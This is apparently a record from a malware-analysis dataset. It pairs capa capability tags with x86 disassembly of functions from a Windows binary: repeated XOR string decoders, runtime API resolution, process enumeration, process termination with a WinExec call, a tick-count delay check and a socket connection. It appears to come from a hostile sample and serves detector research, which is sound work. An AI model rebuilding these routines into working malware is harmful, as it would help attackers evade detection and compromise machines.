joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b3314
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5094d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00497620
mov dword [ebp - 0x14], eax
cmp dword [0x512198], esi
jne 0x4b3407
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4b3394
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4b34e7
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4b34e7
push 0x4e06c0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4b34e7
push eax
call ebx
push 0x4e06cc
push edi
mov dword [0x512198], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x51219c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x5121a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5121a8], eax
test eax, eax
je 0x4b3404
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5121a4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4b342c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4b341f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4b3441
push 4
pop eax
jmp 0x4b34e9
cmp dword [ebp - 0x14], esi
je 0x4b3441
push dword [0x512198]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4b3426
mov eax, dword [0x5121a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4b349f
cmp dword [0x5121a8], edi
je 0x4b349f
push eax
call ebx
push dword [0x5121a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4b349f
test eax, eax
je 0x4b349f
call ecx
test eax, eax
je 0x4b3494
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4b3494
test byte [ebp - 8], 1
jne 0x4b349f
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4b34cf
mov eax, dword [0x51219c]
cmp eax, edi
je 0x4b34cc
push eax
call ebx
test eax, eax
je 0x4b34cc
call eax
mov esi, eax
test esi, esi
je 0x4b34cc
mov eax, dword [0x5121a0]
cmp eax, edi
je 0x4b34cc
push eax
call ebx
test eax, eax
je 0x4b34cc
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x512198]
call ebx
test eax, eax
je 0x4b34e7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4b34e9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048efb3
mov esp, ebp
pop ebp
ret
Function at 0x100024e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 1
xor eax, eax
mov dl, byte [edi + eax + 0x3ed419b4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x100024f1
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002590
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x100025a1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100025d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x1abd646a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x28
jb 0x100025e1
pop edi
mov byte [esi + 0x28], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100026a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x100026b1
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100026e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x19
xor eax, eax
mov dl, byte [edi + eax + 0x1bf4bbef]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x88
jb 0x100026f1
pop edi
mov byte [esi + 0x88], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x2d
xor eax, eax
mov dl, byte [edi + eax + 0x5d9825a0]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x25
jb 0x10002851
pop edi
mov byte [esi + 0x25], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002880
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x34
xor eax, eax
mov dl, byte [edi + eax + 0x32593faf]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10002891
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002940
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x36
xor eax, eax
mov dl, byte [edi + eax - 0x5023d40c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x3b
jb 0x10002951
pop edi
mov byte [esi + 0x3b], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10002a80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x5b
xor eax, eax
mov dl, byte [edi + eax - 0x416a29a2]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x25
jb 0x10002a91
pop edi
mov byte [esi + 0x25], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002ac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x70
xor eax, eax
mov dl, byte [edi + eax - 0x2a0c3c7f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2c
jb 0x10002ad1
pop edi
mov byte [esi + 0x2c], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002b00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x84
xor eax, eax
mov dl, byte [edi + eax - 0x49ba47c2]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1e
jb 0x10002b11
pop edi
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x89
xor eax, eax
mov dl, byte [edi + eax + 0x1af98a5a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10002b51
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002b80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x8c
xor eax, eax
mov dl, byte [edi + eax + 0x57243b52]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x10
jb 0x10002b91
pop edi
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002bc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xaf
xor eax, eax
mov dl, byte [edi + eax + 0x1f0ff0d2]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x23
jb 0x10002bd1
pop edi
mov byte [esi + 0x23], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002c70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xbe
xor eax, eax
mov dl, byte [edi + eax + 0x6e0053c7]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x11
jb 0x10002c81
pop edi
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xdd
xor eax, eax
mov dl, byte [edi + eax - 0x6db8ad5e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x10002ec1
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10002ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xe8
xor eax, eax
mov dl, byte [edi + eax + 0x3566316e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2a
jb 0x10002f01
pop edi
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002f60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xeb
xor eax, eax
mov dl, byte [edi + eax - 0x7b6b46e5]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x20
jb 0x10002f71
pop edi
mov byte [esi + 0x20], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100030c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf0
xor eax, eax
mov dl, byte [edi + eax + 0xab77782]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x17
jb 0x100030d1
pop edi
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10004970
Capabilities:
Check if file exists
Create thread
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movzx eax, byte [eax + 4]
cmp eax, 4
ja case.default.0x1000497f
jmp dword [eax*4 + 0x100049f8]
pop ebp
jmp fcn.10007c10
cmp dword [0x10147b64], 0
jne case.default.0x1000497f
mov dword [0x10147b64], 1
jmp 0x100049de
cmp dword [0x10147b64], 0
jne case.default.0x1000497f
mov dword [0x10147b64], 2
jmp 0x100049de
cmp dword [0x10147b64], 0
jne case.default.0x1000497f
mov dword [0x10147b64], 3
jmp 0x100049de
cmp dword [0x10147b64], 0
jne case.default.0x1000497f
mov dword [0x10147b64], 4
push 0
push 0
push 0
push 0x10005250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x100060c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100369e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x101469e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10146430]
cmp eax, 0x927c0
jb 0x10006105
call esi
mov dword [0x10146430], eax
cmp dword [edi + 4], 0
je 0x10006199
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push dword [edi + 8]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
mov ecx, edi
call fcn.10011c10
mov esi, dword [ebp - 0x1c]
test al, al
je 0x1000617e
cmp esi, dword [ebp - 0x18]
je 0x1000617e
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
call fcn.1000e020
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call sub.gdiplus.dll_GdiplusShutdown
test esi, esi
je 0x10006199
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
sub eax, esi
push eax
push esi
call fcn.10010f60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006490
Capabilities:
Create process on windows
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x574
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test bl, 0xe
jne 0x100064c4
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push esi
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.1001ba80
push 0x208
lea eax, [ebp - 0x558]
push 0
push eax
call fcn.1001ba80
push 0x208
lea eax, [ebp - 0x350]
push 0
push eax
call fcn.1001ba80
add esp, 0x24
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100066b4
push 0x104
lea eax, [ebp - 0x558]
push eax
push esi
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
je 0x100066ad
push 0x104
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x558]
push eax
call fcn.100073f0
add esp, 0xc
test al, al
je 0x100066ad
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.1001ba80
lea eax, [ebp - 0x558]
mov word [ebp - 0x574], 0x5325
push eax
mov byte [ebp - 0x572], 0
call fcn.10007390
push eax
lea eax, [ebp - 0x574]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
test bl, 2
je 0x1000661b
lea eax, [ebp - 0x44]
mov ecx, 0x10146480
push eax
lea eax, [ebp - 0x350]
push eax
call fcn.100063a0
test al, al
jne 0x1000661b
push 0x7dbc4c6e
lea ecx, [ebp - 0x570]
call fcn.10002eb0
push edi
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.10014470
add esp, 0xc
lea eax, [ebp - 0x148]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x148]
push 0
push eax
call fcn.1001ba80
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
test bl, 4
je 0x10006664
lea eax, [ebp - 0x44]
mov ecx, 0x10146484
push eax
lea eax, [ebp - 0x350]
push eax
call fcn.100061b0
test al, al
jne 0x10006664
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea eax, [ebp - 0x44]
push eax
push 2
call fcn.10004a10
add esp, 0xc
xor al, al
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
test bl, 8
je 0x100066ad
lea eax, [ebp - 0x44]
mov ecx, 0x10146434
push eax
lea eax, [ebp - 0x350]
push eax
call fcn.10006270
test al, al
jne 0x100066ad
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea eax, [ebp - 0x44]
push eax
push 5
call fcn.10004a10
add esp, 0xc
xor al, al
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
Function at 0x100066d0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.10018c20
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1008]
mov dword [ebp - 0x100c], ecx
push eax
push 0x1000
lea eax, [ebp - 0x1004]
mov dword [ebp - 0x1008], 0
push eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x10006725
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [ebp - 0x1008]
push esi
shr ebx, 2
xor esi, esi
push edi
test ebx, ebx
jle 0x100067ab
nop word [eax + eax]
mov edi, dword [ebp + esi*4 - 0x1004]
test edi, edi
je 0x100067a6
mov ecx, dword [ebp - 0x100c]
lea eax, [ebp - 0x1014]
push edi
push eax
call fcn.100098c0
test al, al
jne 0x100067a6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x100c]
push eax
push edi
call fcn.1000c2e0
push dword [ebp + 8]
mov ecx, dword [ebp - 0x100c]
push dword [ebp + esi*4 - 0x1004]
call fcn.100067e0
test al, al
je 0x100067c0
push dword [ebp + 8]
mov ecx, 0x10146488
push dword [ebp + esi*4 - 0x1004]
call fcn.10006490
test al, al
je 0x100067c0
inc esi
cmp esi, ebx
jl 0x10006740
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 4

Function at 0x10006890
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10018c20
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x110c]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
mov dword [ebp - 0x110c], 0
push eax
push ebx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
jne 0x100068e5
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push esi
push edi
mov edi, dword [ebp - 0x110c]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x10006954
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
push ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x1000694f
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10006946
test dl, dl
je 0x10006942
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10006946
add ecx, 2
add eax, 2
test dl, dl
jne 0x10006926
xor eax, eax
jmp 0x1000694b
sbb eax, eax
or eax, 1
test eax, eax
je 0x10006969
inc esi
cmp esi, edi
jl 0x10006900
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
Function at 0x10006c00
Capabilities:
Connect socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
cmp dword [esi + 4], 0xffffffff
je 0x10006c8b
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x10006c63
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10006c63
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.1001b500
add esp, 0xc
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10006c9f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10006c9f
mov ecx, esi
call fcn.10007bd0
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push 0x23
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10006cf8
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x10006cc8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10006cdd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
pop edi
mov byte [esi + 0x100038], 0
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push 0x80000
lea eax, [esi + 0xc]
push 0
push eax
call fcn.1001ba80
push 0x80000
lea eax, [esi + 0x80010]
mov dword [esi + 0x8000c], 0
push 0
push eax
call fcn.1001ba80
add esp, 0x18
mov dword [esi + 0x100010], 0
push 0
push 0
push esi
push 0x10006ab0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
mov byte [esi + 0x100038], 1
xor ecx, ebp
pop esi
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
Function at 0x100073f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100369b6
mov eax, dword fs:[0]
push eax
sub esp, 0x648
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x654], eax
mov eax, dword [0x10039924]
mov dword [ebp - 0x18], eax
mov ax, word [0x10039928]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x620]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10007554
lea esi, [ebp - 0x620]
nop dword [eax]
mov ax, word [esi]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x220]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10007540
xor eax, eax
mov dword [ebp - 0x624], 7
mov dword [ebp - 0x628], 0
mov word [ebp - 0x638], ax
cmp word [ebx], ax
je 0x100074bf
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100074b0
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x638]
call fcn.10010c20
cmp word [ebp - 0x220], 0
mov dword [ebp - 4], 0
jne 0x100074e1
xor ecx, ecx
jmp 0x100074ff
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100074f0
sub ecx, edx
sar ecx, 1
push ecx
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x638]
call fcn.10011a00
mov edi, eax
cmp edi, 0xffffffff
jne 0x10007572
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x624]
cmp eax, 8
jb 0x10007540
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.10011020
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10007540
cmp word [esi], ax
jne 0x10007460
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x650]
call fcn.10003410
mov eax, dword [eax + 0x10]
lea ecx, [ebp - 0x638]
push esi
inc eax
mov byte [ebp - 4], 1
push eax
push edi
call fcn.10012fa0
mov eax, dword [ebp - 0x63c]
cmp eax, 8
jb 0x100075b8
inc eax
lea ecx, [ebp - 0x650]
push eax
push dword [ebp - 0x650]
call fcn.10011020
cmp dword [ebp - 0x624], 8
lea eax, [ebp - 0x638]
cmovae eax, dword [ebp - 0x638]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x654]
call fcn.1001e2cd
mov eax, dword [ebp - 0x624]
add esp, 0xc
cmp eax, 8
jb 0x100075fc
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.10011020
mov al, 1
jmp 0x10007556